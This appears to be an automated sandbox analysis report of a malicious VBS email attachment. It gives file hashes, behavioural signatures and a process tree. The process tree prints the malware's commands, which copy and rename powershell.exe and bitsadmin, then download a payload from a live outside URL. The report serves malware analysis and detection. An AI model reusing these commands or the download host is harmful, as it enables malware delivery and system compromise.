Analysis
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max time kernel
117s -
max time network
126s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
21-02-2022 22:48
Static task
static1
Behavioral task
behavioral1
Sample
Allegato_doc_JNKMTJ64B29L424O.vbs
Resource
win7-en-20211208
General
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Target
Allegato_doc_JNKMTJ64B29L424O.vbs
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Size
8KB
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MD5
5d2f707cea7e80c85d83f14213e1d7e0
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SHA1
6a7e4e3a532ef4cbbf77508931324a20fe79d7e2
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SHA256
d3d75e2f255c63ccc14496877d562f04641da53ce9bf064b1b8e4969034cce9a
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SHA512
beb572b51df993ed0a7464789a211d79b906387fdcceff2bcb517c98f83c933fc3513c6e707ae3b7209b1f6d618ccbd7284b17704083b8023e1c61ccf6868090
Malware Config
Signatures
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Executes dropped EXE 1 IoCs
Processes:
wjOytesin.exepid process 1376 wjOytesin.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious use of WriteProcessMemory 13 IoCs
Processes:
WScript.execmd.exedescription pid process target process PID 948 wrote to memory of 520 948 WScript.exe cmd.exe PID 948 wrote to memory of 520 948 WScript.exe cmd.exe PID 948 wrote to memory of 520 948 WScript.exe cmd.exe PID 520 wrote to memory of 588 520 cmd.exe cmd.exe PID 520 wrote to memory of 588 520 cmd.exe cmd.exe PID 520 wrote to memory of 588 520 cmd.exe cmd.exe PID 520 wrote to memory of 996 520 cmd.exe cmd.exe PID 520 wrote to memory of 996 520 cmd.exe cmd.exe PID 520 wrote to memory of 996 520 cmd.exe cmd.exe PID 948 wrote to memory of 1376 948 WScript.exe wjOytesin.exe PID 948 wrote to memory of 1376 948 WScript.exe wjOytesin.exe PID 948 wrote to memory of 1376 948 WScript.exe wjOytesin.exe PID 948 wrote to memory of 1376 948 WScript.exe wjOytesin.exe
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Allegato_doc_JNKMTJ64B29L424O.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:948 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\fnpWSeyED.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\wjOytes*.exe2⤵
- Suspicious use of WriteProcessMemory
PID:520 -
C:\Windows\system32\cmd.execmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\fnpWSeyED.exe3⤵PID:588
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C:\Windows\system32\cmd.execmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\wjOytes*.exe3⤵PID:996
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C:\ProgramData\wjOytesin.exe"C:\ProgramData\wjOytesin.exe" /transfer szPZvX /download https://cxminute.com/minu/JNKMTJ64B29L424O/uk.css C:\Users\Admin\AppData\Roaming\uk.css2⤵
- Executes dropped EXE
PID:1376
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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MD5
0920b14aa67a8b04acf48ffe7c6f0927
SHA13421124253058dc21453ebac531b67aeb999f627
SHA256838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00
SHA5122b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51
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MD5
0920b14aa67a8b04acf48ffe7c6f0927
SHA13421124253058dc21453ebac531b67aeb999f627
SHA256838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00
SHA5122b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51